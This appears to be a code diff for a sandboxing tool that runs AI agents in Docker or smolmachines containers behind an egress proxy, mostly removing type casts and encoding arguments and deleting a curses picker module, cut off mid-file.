paths = cast(list[str], paths_obj) if isinstance(paths_obj, list) else []
|
||||
paths = entry.get("path_allowlist") or []
|
||||
if paths:
|
||||
lines.append(" path_allowlist:")
|
||||
for p in paths:
|
||||
@@ -259,7 +257,6 @@ def _merge_single_route(
|
||||
raise EgressApplyError(
|
||||
"current routes.yaml: 'routes' is not a list"
|
||||
)
|
||||
routes_typed = cast(list[object], routes)
|
||||
|
||||
new_host = str(new_route.get("host", "")).lower()
|
||||
if not new_host:
|
||||
@@ -267,25 +264,22 @@ def _merge_single_route(
|
||||
"proposed route is missing 'host'"
|
||||
)
|
||||
|
||||
proposed_paths_obj = new_route.get("path_allowlist")
|
||||
proposed_paths = cast(list[str], proposed_paths_obj) if isinstance(proposed_paths_obj, list) else []
|
||||
proposed_paths = list(new_route.get("path_allowlist") or [])
|
||||
|
||||
# Look for an existing entry with the same host (case-insensitive).
|
||||
for entry in routes_typed:
|
||||
for entry in routes:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
entry_typed = cast(dict[str, object], entry)
|
||||
if str(entry_typed.get("host", "")).lower() == new_host:
|
||||
if str(entry.get("host", "")).lower() == new_host:
|
||||
# Merge path_allowlist: union proposed + existing, ordered
|
||||
# by first-seen so existing paths stay in original order.
|
||||
existing_paths_obj = entry_typed.get("path_allowlist")
|
||||
existing_paths = cast(list[str], existing_paths_obj) if isinstance(existing_paths_obj, list) else []
|
||||
existing_paths: list[str] = list(entry.get("path_allowlist") or [])
|
||||
seen = {p: None for p in existing_paths}
|
||||
for p in proposed_paths:
|
||||
seen.setdefault(p, None)
|
||||
merged_paths = list(seen.keys())
|
||||
if merged_paths:
|
||||
entry_typed["path_allowlist"] = merged_paths
|
||||
entry["path_allowlist"] = merged_paths
|
||||
# Preserve existing auth — tool description says agent-
|
||||
# proposed auth on an existing host is ignored.
|
||||
break
|
||||
@@ -295,22 +289,19 @@ def _merge_single_route(
|
||||
# `auth` was proposed (otherwise the addon's parser rejects
|
||||
# a half-set auth pair). Slots: count existing slots, pick
|
||||
# the next free index.
|
||||
entry_typed: dict[str, object] = {"host": new_route.get("host")} # type: ignore
|
||||
entry = {"host": new_route["host"]}
|
||||
if proposed_paths:
|
||||
entry_typed["path_allowlist"] = proposed_paths
|
||||
entry["path_allowlist"] = proposed_paths
|
||||
auth = new_route.get("auth")
|
||||
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"): # type: ignore
|
||||
auth_typed = cast(dict[str, object], auth)
|
||||
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):
|
||||
existing_slots = sorted({
|
||||
str(r_entry.get("token_env", ""))
|
||||
for r_entry_obj in routes_typed
|
||||
if isinstance(r_entry_obj, dict)
|
||||
for r_entry in [cast(dict[str, object], r_entry_obj)]
|
||||
if r_entry.get("token_env")
|
||||
str(r.get("token_env"))
|
||||
for r in routes
|
||||
if isinstance(r, dict) and r.get("token_env")
|
||||
})
|
||||
next_idx = len(existing_slots)
|
||||
entry_typed["auth_scheme"] = str(cast(object, auth_typed.get("scheme")))
|
||||
entry_typed["token_env"] = f"EGRESS_TOKEN_{next_idx}"
|
||||
entry["auth_scheme"] = str(auth["scheme"])
|
||||
entry["token_env"] = f"EGRESS_TOKEN_{next_idx}"
|
||||
# NOTE: the addon reads token VALUES from its container's
|
||||
# environ keyed by token_env. A newly-added auth route at
|
||||
# runtime points at a slot that has no env value → the
|
||||
@@ -318,9 +309,9 @@ def _merge_single_route(
|
||||
# arranges for the value to land in the container's env.
|
||||
# Recording this here so the operator-facing diff carries
|
||||
# the slot name they'll need to provision.
|
||||
routes_typed.append(entry_typed)
|
||||
routes.append(entry)
|
||||
|
||||
return _render_routes_payload(cast(list[dict[str, object]], routes_typed))
|
||||
return _render_routes_payload(routes)
|
||||
|
||||
|
||||
def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
|
||||
|
||||
@@ -80,7 +80,7 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
|
||||
def launch(
|
||||
plan: DockerBottlePlan,
|
||||
*,
|
||||
provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
|
||||
provision: Callable[[DockerBottlePlan, str], str | None],
|
||||
) -> Generator[DockerBottle, None, None]:
|
||||
"""Build, launch, and provision a Docker bottle via compose.
|
||||
Teardown on exit."""
|
||||
@@ -92,7 +92,7 @@ def launch(
|
||||
def teardown() -> None:
|
||||
try:
|
||||
stack.close()
|
||||
except BaseException as exc: # noqa: W0718 — teardown must not fail
|
||||
except BaseException as exc:
|
||||
warn(
|
||||
f"teardown failed for container {plan.container_name}"
|
||||
f" (compose-down): {exc!r}"
|
||||
@@ -218,7 +218,7 @@ def launch(
|
||||
agent_command=plan.agent_command,
|
||||
agent_prompt_mode=plan.agent_prompt_mode,
|
||||
)
|
||||
bottle.prompt_path = provision(plan, bottle)
|
||||
bottle._prompt_path = provision(plan, bottle)
|
||||
|
||||
# Step 9: yield. exec_agent continues to use `docker exec -it`
|
||||
# — the agent runs `sleep infinity` per the renderer's
|
||||
|
||||
@@ -15,23 +15,30 @@ import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
from ...log import die
|
||||
# Re-exported for the compose renderer + smolmachines launch step
|
||||
# (they used to import these from this module before they moved to
|
||||
# the platform-neutral pipelock module).
|
||||
from ...pipelock import ( # noqa: F401
|
||||
PIPELOCK_CA_CERT_IN_CONTAINER,
|
||||
PIPELOCK_CA_KEY_IN_CONTAINER,
|
||||
)
|
||||
|
||||
|
||||
# Pipelock image, pinned by digest. The digest is the multi-arch image
|
||||
# index for ghcr.io/luckypipewrench/pipelock:2.3.0.
|
||||
PIPELOCK_IMAGE = os.environ.get(
|
||||
"BOT_BOTTLE_PIPELOCK_IMAGE",
|
||||
"ghcr.io/luckypipewrench/pipelock@sha256:"
|
||||
"3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
|
||||
"ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
|
||||
)
|
||||
|
||||
# Listening port for pipelock's forward proxy.
|
||||
PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
|
||||
|
||||
|
||||
# The URL egress dials for its upstream HTTPS_PROXY. egress and pipelock
|
||||
# share the same container's network namespace inside the sidecar bundle, so
|
||||
# loopback reaches pipelock directly — no docker DNS aliases involved.
|
||||
# The URL egress dials for its upstream HTTPS_PROXY. egress and
|
||||
# pipelock share the same container's network namespace inside the
|
||||
# sidecar bundle, so loopback reaches pipelock directly — no docker
|
||||
# DNS aliases involved.
|
||||
BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
|
||||
|
||||
|
||||
|
||||
@@ -99,7 +99,7 @@ def fetch_current_yaml(slug: str) -> str:
|
||||
f"could not fetch pipelock.yaml from {container}: "
|
||||
f"{(r.stderr or '').strip() or 'container not running?'}"
|
||||
)
|
||||
return Path(tmp_path).read_text(encoding="utf-8")
|
||||
return Path(tmp_path).read_text()
|
||||
finally:
|
||||
try:
|
||||
Path(tmp_path).unlink()
|
||||
|
||||
@@ -219,7 +219,7 @@ def resolve_plan(
|
||||
else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
|
||||
)
|
||||
dockerfile_content = (
|
||||
supervise_dockerfile_path.read_text(encoding="utf-8")
|
||||
supervise_dockerfile_path.read_text()
|
||||
if supervise_dockerfile_path.is_file()
|
||||
else ""
|
||||
)
|
||||
|
||||
@@ -19,7 +19,7 @@ from __future__ import annotations
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
from typing import Mapping, cast
|
||||
from typing import Mapping
|
||||
|
||||
from ...agent_provider import PromptMode, prompt_args
|
||||
from .. import Bottle, ExecResult
|
||||
@@ -72,7 +72,7 @@ class SmolmachinesBottle(Bottle):
|
||||
# In-VM path to the agent's prompt file. None when the
|
||||
# agent declared no prompt (file still exists; we just
|
||||
# don't pass --append-system-prompt-file).
|
||||
self.prompt_path = prompt_path
|
||||
self._prompt_path = prompt_path
|
||||
# Env vars the agent process needs (HTTPS_PROXY,
|
||||
# CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
|
||||
# Forwarded on every `smolvm machine exec` via `-e K=V`
|
||||
@@ -93,9 +93,9 @@ class SmolmachinesBottle(Bottle):
|
||||
agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
|
||||
self.agent_command]
|
||||
provider_prompt_args = prompt_args(
|
||||
cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
|
||||
self._agent_prompt_mode, self._prompt_path, argv=argv,
|
||||
)
|
||||
if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
|
||||
if self._agent_prompt_mode == "read_prompt_file":
|
||||
agent_tail += argv
|
||||
agent_tail += provider_prompt_args
|
||||
else:
|
||||
|
||||
@@ -89,7 +89,7 @@ _SUPERVISE_PORT = SUPERVISE_PORT
|
||||
def launch(
|
||||
plan: SmolmachinesBottlePlan,
|
||||
*,
|
||||
provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
|
||||
provision: Callable[[SmolmachinesBottlePlan, str], str | None],
|
||||
) -> Generator[SmolmachinesBottle, None, None]:
|
||||
"""Build + run the bottle and yield a handle; tear everything
|
||||
down on exit. Errors during bringup unwind any partial state
|
||||
@@ -120,7 +120,7 @@ def launch(
|
||||
agent_command=plan.agent_command,
|
||||
agent_prompt_mode=plan.agent_prompt_mode,
|
||||
)
|
||||
bottle.prompt_path = provision(plan, bottle)
|
||||
bottle._prompt_path = provision(plan, bottle)
|
||||
|
||||
yield bottle
|
||||
finally:
|
||||
@@ -139,7 +139,7 @@ def _teardown_smolmachines(
|
||||
teardown_exc: BaseException | None = None
|
||||
try:
|
||||
stack.close()
|
||||
except BaseException as exc: # noqa: W0718 — teardown must not fail
|
||||
except BaseException as exc:
|
||||
teardown_exc = exc
|
||||
warn(f"smolmachines teardown failed: {exc!r}")
|
||||
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||
|
||||
@@ -42,7 +42,7 @@ import time
|
||||
import uuid
|
||||
from contextlib import contextmanager
|
||||
from dataclasses import dataclass
|
||||
from typing import Generator
|
||||
from typing import Iterator
|
||||
|
||||
from ...log import die
|
||||
|
||||
@@ -61,10 +61,7 @@ REGISTRY_IMAGE = os.environ.get(
|
||||
# narrow.
|
||||
CRANE_IMAGE = os.environ.get(
|
||||
"BOT_BOTTLE_CRANE_IMAGE",
|
||||
(
|
||||
"gcr.io/go-containerregistry/crane@sha256:"
|
||||
"0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
|
||||
),
|
||||
"gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084",
|
||||
)
|
||||
|
||||
|
||||
@@ -98,7 +95,7 @@ class RegistryHandle:
|
||||
|
||||
|
||||
@contextmanager
|
||||
def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
|
||||
def ephemeral_registry() -> Iterator[RegistryHandle]:
|
||||
"""Bring up a per-session docker network + a `registry:2.8.3`
|
||||
container on it (published on a random host port), yield a
|
||||
`RegistryHandle`, force-remove both on exit.
|
||||
@@ -208,6 +205,7 @@ def _host_port(name: str) -> int:
|
||||
return int(port_str)
|
||||
except ValueError:
|
||||
die(f"unexpected `docker port` output: {line!r}")
|
||||
return -1 # unreachable; die() never returns
|
||||
|
||||
|
||||
def _wait_ready(port: int) -> None:
|
||||
|
||||
@@ -47,6 +47,7 @@ from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import json
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import sqlite3
|
||||
@@ -176,11 +177,11 @@ def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
|
||||
con.close()
|
||||
|
||||
|
||||
def allocate(_slug: str) -> str:
|
||||
def allocate(slug: str) -> str:
|
||||
"""Pick the lowest-numbered alias from the pool not already
|
||||
in use by a running smolmachines bundle. Bails when the pool
|
||||
is exhausted — the caller should report the limit to the
|
||||
operator. `_slug` is logged for traceability; not otherwise
|
||||
operator. `slug` is logged for traceability; not otherwise
|
||||
used (no on-disk reservation, allocation is purely
|
||||
docker-state-driven).
|
||||
|
||||
@@ -195,7 +196,7 @@ def allocate(_slug: str) -> str:
|
||||
if not _is_macos():
|
||||
return "127.0.0.1"
|
||||
_ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
|
||||
with open(_ALLOC_LOCK_PATH, "w") as lf:
|
||||
fcntl.flock(lf, fcntl.LOCK_EX)
|
||||
return _allocate_locked()
|
||||
|
||||
@@ -211,6 +212,7 @@ def _allocate_locked() -> str:
|
||||
f"Stop a running bottle (`smolvm machine ls --json`) or "
|
||||
f"raise _POOL_END in loopback_alias.py."
|
||||
)
|
||||
return "" # unreachable; die() never returns
|
||||
|
||||
|
||||
def _alias_present(ip: str) -> bool:
|
||||
|
||||
@@ -36,14 +36,12 @@ follow-up tracked separately)."""
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import io
|
||||
import signal
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import termios
|
||||
import threading
|
||||
from types import FrameType
|
||||
|
||||
|
||||
# How long to wait after the main exec starts before pushing the
|
||||
@@ -69,11 +67,7 @@ def _read_winsize() -> tuple[int, int] | None:
|
||||
- tmux respawn-pane: tmux sets all three to the pane's PTY.
|
||||
- non-TTY (someone piped stdin in tests): none are; the
|
||||
sync just no-ops, which is the right behavior."""
|
||||
for default_fd, stream in enumerate((sys.stdin, sys.stdout, sys.stderr)):
|
||||
try:
|
||||
fd = stream.fileno()
|
||||
except (AttributeError, io.UnsupportedOperation, OSError):
|
||||
fd = default_fd
|
||||
for fd in (sys.stdin.fileno(), sys.stdout.fileno(), sys.stderr.fileno()):
|
||||
try:
|
||||
data = fcntl.ioctl(fd, termios.TIOCGWINSZ, b"\x00" * 8)
|
||||
except OSError:
|
||||
@@ -129,13 +123,13 @@ def main(argv: list[str]) -> int:
|
||||
machine = argv[0]
|
||||
inner = argv[2:]
|
||||
|
||||
def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
|
||||
def sync(*_args) -> None:
|
||||
size = _read_winsize()
|
||||
if size is None:
|
||||
return
|
||||
_push_size(machine, *size)
|
||||
|
||||
signal.signal(signal.SIGWINCH, sync) # type: ignore[arg-type]
|
||||
signal.signal(signal.SIGWINCH, sync)
|
||||
|
||||
proc = subprocess.Popen(inner)
|
||||
# Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
|
||||
|
||||
@@ -223,6 +223,7 @@ def bundle_host_port(
|
||||
f"no port mapping on {host_ip} for {container} "
|
||||
f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
|
||||
)
|
||||
return -1 # unreachable; die() never returns
|
||||
|
||||
|
||||
def stop_bundle(slug: str) -> None:
|
||||
|
||||
@@ -52,7 +52,7 @@ class SmolvmError(RuntimeError):
|
||||
pack failed, etc.). Carries the captured stderr for the
|
||||
operator-facing log line."""
|
||||
|
||||
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
|
||||
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess):
|
||||
self.argv = list(argv)
|
||||
self.returncode = result.returncode
|
||||
self.stdout = result.stdout
|
||||
@@ -65,7 +65,7 @@ class SmolvmError(RuntimeError):
|
||||
|
||||
|
||||
def _smolvm(*args: str, env: Mapping[str, str] | None = None,
|
||||
check: bool = True) -> subprocess.CompletedProcess[str]:
|
||||
check: bool = True) -> subprocess.CompletedProcess:
|
||||
"""One subprocess call into the smolvm CLI. `check=True`
|
||||
raises SmolvmError on non-zero; `check=False` returns the
|
||||
CompletedProcess for the caller to inspect."""
|
||||
|
||||
@@ -41,18 +41,9 @@ def usage() -> None:
|
||||
sys.stderr.write(" info print env, skills, and prompt details for a named agent\n")
|
||||
sys.stderr.write(" init interactively create a new agent and add it to bot-bottle.json\n")
|
||||
sys.stderr.write(" list list available agents or active containers\n")
|
||||
sys.stderr.write(
|
||||
" resume re-launch a bottle by its identity "
|
||||
"(continues state from PRD 0016)\n"
|
||||
)
|
||||
sys.stderr.write(
|
||||
" start boot a container for a named agent and "
|
||||
"attach an interactive session\n"
|
||||
)
|
||||
sys.stderr.write(
|
||||
" supervise view + approve/modify/reject pending supervise "
|
||||
"proposals (PRD 0013)\n\n"
|
||||
)
|
||||
sys.stderr.write(" resume re-launch a bottle by its identity (continues state from PRD 0016)\n")
|
||||
sys.stderr.write(" start boot a container for a named agent and attach an interactive session\n")
|
||||
sys.stderr.write(" supervise view + approve/modify/reject pending supervise proposals (PRD 0013)\n\n")
|
||||
sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
|
||||
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ REPO_DIR = str(Path(__file__).resolve().parent.parent.parent)
|
||||
def read_tty_line() -> str:
|
||||
"""Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
|
||||
try:
|
||||
with open("/dev/tty", "r", encoding="utf-8") as tty:
|
||||
with open("/dev/tty", "r") as tty:
|
||||
return tty.readline().rstrip("\n")
|
||||
except OSError:
|
||||
return sys.stdin.readline().rstrip("\n")
|
||||
|
||||
+5
-18
@@ -51,8 +51,7 @@ def cmd_init(argv: list[str]) -> int:
|
||||
die(f"{target_file} exists but is not valid JSON; fix or remove it first")
|
||||
if agent_name in (existing.get("agents") or {}):
|
||||
sys.stderr.write(
|
||||
f'bot-bottle: agent "{agent_name}" already exists in '
|
||||
f'{target_file}. Overwrite? [y/N] '
|
||||
f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] '
|
||||
)
|
||||
sys.stderr.flush()
|
||||
ow = read_tty_line()
|
||||
@@ -72,10 +71,7 @@ def cmd_init(argv: list[str]) -> int:
|
||||
|
||||
# Prompt
|
||||
print(file=sys.stderr)
|
||||
info(
|
||||
"System prompt — enter text, then a lone '.' on its own line to "
|
||||
"finish (just '.' to leave empty):"
|
||||
)
|
||||
info("System prompt — enter text, then a lone '.' on its own line to finish (just '.' to leave empty):")
|
||||
prompt_lines: list[str] = []
|
||||
while True:
|
||||
line = read_tty_line()
|
||||
@@ -103,10 +99,7 @@ def cmd_init(argv: list[str]) -> int:
|
||||
|
||||
if bottle_name in (existing.get("bottles") or {}):
|
||||
bottle_exists_already = True
|
||||
info(
|
||||
f"Bottle '{bottle_name}' already exists in {target_file}; "
|
||||
f"agent will reference it."
|
||||
)
|
||||
info(f"Bottle '{bottle_name}' already exists in {target_file}; agent will reference it.")
|
||||
else:
|
||||
info(f"Creating new bottle '{bottle_name}'.")
|
||||
bottle_env = _prompt_for_env_vars()
|
||||
@@ -138,14 +131,8 @@ def cmd_init(argv: list[str]) -> int:
|
||||
|
||||
def _prompt_for_env_vars() -> dict[str, str]:
|
||||
print(file=sys.stderr)
|
||||
info(
|
||||
"Env vars — enter each var name then its mode. Press Enter with "
|
||||
"no name to finish."
|
||||
)
|
||||
info(
|
||||
" Modes: secret (prompt at runtime) | interpolated (read from "
|
||||
"host env) | literal (hardcoded value)"
|
||||
)
|
||||
info("Env vars — enter each var name then its mode. Press Enter with no name to finish.")
|
||||
info(" Modes: secret (prompt at runtime) | interpolated (read from host env) | literal (hardcoded value)")
|
||||
out: dict[str, str] = {}
|
||||
while True:
|
||||
print(file=sys.stderr)
|
||||
|
||||
+3
-28
@@ -33,7 +33,6 @@ from ..backend.docker.capability_apply import snapshot_transcript
|
||||
from ..log import info
|
||||
from ..manifest import Manifest
|
||||
from ._common import PROG, USER_CWD, read_tty_line
|
||||
from . import tui
|
||||
|
||||
|
||||
def cmd_start(argv: list[str]) -> int:
|
||||
@@ -50,39 +49,15 @@ def cmd_start(argv: list[str]) -> int:
|
||||
"or 'docker'). Overrides the env var when set."
|
||||
),
|
||||
)
|
||||
parser.add_argument(
|
||||
"name",
|
||||
nargs="?",
|
||||
default=None,
|
||||
help="agent name defined in bot-bottle.json (omit to pick interactively)",
|
||||
)
|
||||
parser.add_argument("name", help="agent name defined in bot-bottle.json")
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
|
||||
|
||||
manifest = Manifest.resolve(USER_CWD)
|
||||
|
||||
agent_name: str | None = args.name
|
||||
if agent_name is None:
|
||||
agent_name = tui.filter_select(
|
||||
sorted(manifest.agents.keys()),
|
||||
title="Select agent",
|
||||
)
|
||||
if agent_name is None:
|
||||
return 0
|
||||
|
||||
backend_name: str | None = args.backend
|
||||
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
|
||||
backend_name = tui.filter_select(
|
||||
list(known_backend_names()),
|
||||
title="Select backend",
|
||||
)
|
||||
if backend_name is None:
|
||||
return 0
|
||||
|
||||
spec = BottleSpec(
|
||||
manifest=manifest,
|
||||
agent_name=agent_name,
|
||||
agent_name=args.name,
|
||||
copy_cwd=args.cwd,
|
||||
user_cwd=USER_CWD,
|
||||
)
|
||||
@@ -90,7 +65,7 @@ def cmd_start(argv: list[str]) -> int:
|
||||
spec,
|
||||
dry_run=dry_run,
|
||||
remote_control=args.remote_control,
|
||||
backend_name=backend_name,
|
||||
backend_name=args.backend,
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -263,7 +263,7 @@ def edit_in_editor(content: str, *, suffix: str = ".tmp") -> str | None:
|
||||
path = f.name
|
||||
try:
|
||||
subprocess.run([editor, path], check=False)
|
||||
with open(path, encoding="utf-8") as f:
|
||||
with open(path) as f:
|
||||
edited = f.read()
|
||||
return edited if edited != content else None
|
||||
finally:
|
||||
@@ -296,7 +296,7 @@ def cmd_supervise(argv: list[str]) -> int:
|
||||
else:
|
||||
error("supervise exited on a fatal error (no detail captured).")
|
||||
return e.code if isinstance(e.code, int) else 1
|
||||
except Exception as e: # noqa: W0718 — catch supervise crash for logging
|
||||
except Exception as e:
|
||||
log_path = _write_crash_log(e)
|
||||
error(f"supervise crashed: {type(e).__name__}: {e}")
|
||||
error(f"full traceback written to {log_path}")
|
||||
@@ -354,7 +354,7 @@ def _try_init_green() -> int:
|
||||
return 0
|
||||
|
||||
|
||||
def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
|
||||
def _main_loop(stdscr: "curses._CursesWindow") -> None:
|
||||
curses.curs_set(0)
|
||||
stdscr.timeout(_REFRESH_INTERVAL_MS)
|
||||
green_attr = _try_init_green()
|
||||
@@ -434,12 +434,12 @@ def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
|
||||
|
||||
|
||||
def _render(
|
||||
stdscr: "curses._CursesWindow", # type: ignore
|
||||
stdscr: "curses._CursesWindow",
|
||||
pending: list[QueuedProposal],
|
||||
selected: int,
|
||||
status_line: str,
|
||||
*,
|
||||
green_attr: int = 0, # noqa: F841 — unused, but required by interface
|
||||
green_attr: int = 0,
|
||||
) -> None:
|
||||
stdscr.erase()
|
||||
h, w = stdscr.getmaxyx()
|
||||
@@ -488,7 +488,7 @@ def _render(
|
||||
|
||||
|
||||
def _detail_view(
|
||||
stdscr: "curses._CursesWindow", # type: ignore
|
||||
stdscr: "curses._CursesWindow",
|
||||
qp: QueuedProposal,
|
||||
*,
|
||||
green_attr: int = 0,
|
||||
@@ -539,7 +539,7 @@ def _detail_view(
|
||||
return
|
||||
|
||||
|
||||
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None: # type: ignore
|
||||
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
|
||||
"""Suspend curses, open $EDITOR on the proposed file, return edited content."""
|
||||
suffix = _suffix_for_tool(qp.proposal.tool)
|
||||
curses.endwin()
|
||||
@@ -550,7 +550,7 @@ def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
|
||||
return edited
|
||||
|
||||
|
||||
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str: # type: ignore
|
||||
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:
|
||||
"""One-line input at the bottom of the screen."""
|
||||
curses.curs_set(1)
|
||||
h, _ = stdscr.getmaxyx()
|
||||
|
||||
@@ -1,221 +0,0 @@
|
||||
"""tui.py — minimal curses filter-select picker for CLI prompts.
|
||||
|
||||
Exposed surface:
|
||||
|
||||
filter_select(items, *, title="", tty_path="/dev/tty") -> str | None
|
||||
|
||||
Opens /dev/tty directly so the picker works even when stdout/stdin are
|
||||
redirected. Returns the selected item or None on cancel.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import curses
|
||||
import os
|
||||
import sys
|
||||
from typing import Any, Optional
|
||||
|
||||
|
||||
def filter_select(
|
||||
items: list[str],
|
||||
*,
|
||||
title: str = "",
|
||||
tty_path: str = "/dev/tty",
|
||||
) -> Optional[str]:
|
||||
"""Render a filter-select picker over *items*.
|
||||
|
||||
Returns the selected item string, or ``None`` if the user cancelled
|
||||
(Esc / ``q`` / Ctrl-C / Ctrl-D) or if the terminal is too small.
|
||||
|
||||
The picker opens *tty_path* directly so it works even when
|
||||
stdout/stdin are redirected.
|
||||
"""
|
||||
if not items:
|
||||
return None
|
||||
|
||||
try:
|
||||
tty_fd = open(tty_path, "r+b", buffering=0)
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
try:
|
||||
# Use os.dup() to duplicate the fd so the original file object
|
||||
# and FileIO in _run_picker each manage independent copies,
|
||||
# preventing double-close errors.
|
||||
import os as _os
|
||||
fd_dup = _os.dup(tty_fd.fileno())
|
||||
return _run_picker(items, title=title, tty_fd=fd_dup)
|
||||
finally:
|
||||
tty_fd.close()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Internal implementation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_KEY_ESC = 27
|
||||
_KEY_CTRL_C = 3
|
||||
_KEY_CTRL_D = 4
|
||||
_KEY_BACKSPACE_WIN = 8
|
||||
_KEY_ENTER_ALT = 10
|
||||
|
||||
_CANCEL_KEYS = frozenset([_KEY_ESC, _KEY_CTRL_C, _KEY_CTRL_D, ord("q")])
|
||||
|
||||
|
||||
def _run_picker(items: list[str], *, title: str, tty_fd: int) -> Optional[str]:
|
||||
"""Drive a curses session on *tty_fd* and return the picked item."""
|
||||
# newterm lets us run curses on an arbitrary fd rather than the
|
||||
# process's controlling tty / stdout — crucial when stdout is piped.
|
||||
os.environ.setdefault("TERM", "xterm-256color")
|
||||
|
||||
# Save / restore the real stdin/stdout so curses newterm can use tty_fd.
|
||||
orig_stdin = sys.__stdin__
|
||||
orig_stdout = sys.__stdout__
|
||||
|
||||
try:
|
||||
import io
|
||||
tty_text = io.TextIOWrapper(io.FileIO(tty_fd, mode='r+'), write_through=True)
|
||||
sys.__stdin__ = tty_text # type: ignore[assignment]
|
||||
sys.__stdout__ = tty_text # type: ignore[assignment]
|
||||
|
||||
# curses.wrapper calls initscr which honours sys.__stdin__ / __stdout__
|
||||
# on some builds; use newterm where available.
|
||||
screen = curses.initscr()
|
||||
curses.noecho()
|
||||
curses.cbreak()
|
||||
screen.keypad(True)
|
||||
|
||||
try:
|
||||
result = _picker_loop(screen, items, title=title)
|
||||
finally:
|
||||
screen.keypad(False)
|
||||
curses.nocbreak()
|
||||
curses.echo()
|
||||
curses.endwin()
|
||||
except Exception: # noqa: W0718 — curses can raise many error types
|
||||
return None
|
||||
finally:
|
||||
sys.__stdin__ = orig_stdin # type: ignore[assignment]
|
||||
sys.__stdout__ = orig_stdout # type: ignore[assignment]
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def _picker_loop(screen: Any, items: list[str], *, title: str) -> Optional[str]:
|
||||
query = ""
|
||||
cursor = 0
|
||||
|
||||
while True:
|
||||
filtered = _filter_items(items, query)
|
||||
|
||||
# Clamp cursor into the visible list.
|
||||
if not filtered:
|
||||
cursor = 0
|
||||
elif cursor >= len(filtered):
|
||||
cursor = len(filtered) - 1
|
||||
|
||||
try:
|
||||
_render(screen, filtered, cursor, query=query, title=title)
|
||||
except curses.error:
|
||||
# Terminal too small or write error — bail out.
|
||||
return None
|
||||
|
||||
try:
|
||||
key = screen.getch()
|
||||
except KeyboardInterrupt:
|
||||
return None
|
||||
|
||||
if key in _CANCEL_KEYS:
|
||||
return None
|
||||
|
||||
if key in (curses.KEY_ENTER, _KEY_ENTER_ALT, ord("\r")):
|
||||
return filtered[cursor] if filtered else None
|
||||
|
||||
if key in (curses.KEY_UP, ord("k")):
|
||||
if cursor > 0:
|
||||
cursor -= 1
|
||||
|
||||
elif key in (curses.KEY_DOWN, ord("j")):
|
||||
if cursor < len(filtered) - 1:
|
||||
cursor += 1
|
||||
|
||||
elif key in (curses.KEY_BACKSPACE, _KEY_BACKSPACE_WIN, 127):
|
||||
query = query[:-1]
|
||||
# After narrowing the filter, keep cursor in range.
|
||||
new_filtered = _filter_items(items, query)
|
||||
if cursor >= len(new_filtered):
|
||||
cursor = max(0, len(new_filtered) - 1)
|
||||
|
||||
elif 32 <= key <= 126:
|
||||
# Printable ASCII — append to query and reset cursor so the
|
||||
# top of the newly-filtered list is selected.
|
||||
query += chr(key)
|
||||
cursor = 0
|
||||
|
||||
|
||||
def _filter_items(items: list[str], query: str) -> list[str]:
|
||||
if not query:
|
||||
return list(items)
|
||||
q = query.lower()
|
||||
return [i for i in items if q in i.lower()]
|
||||
|
||||
|
||||
def _render(screen: Any, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
|
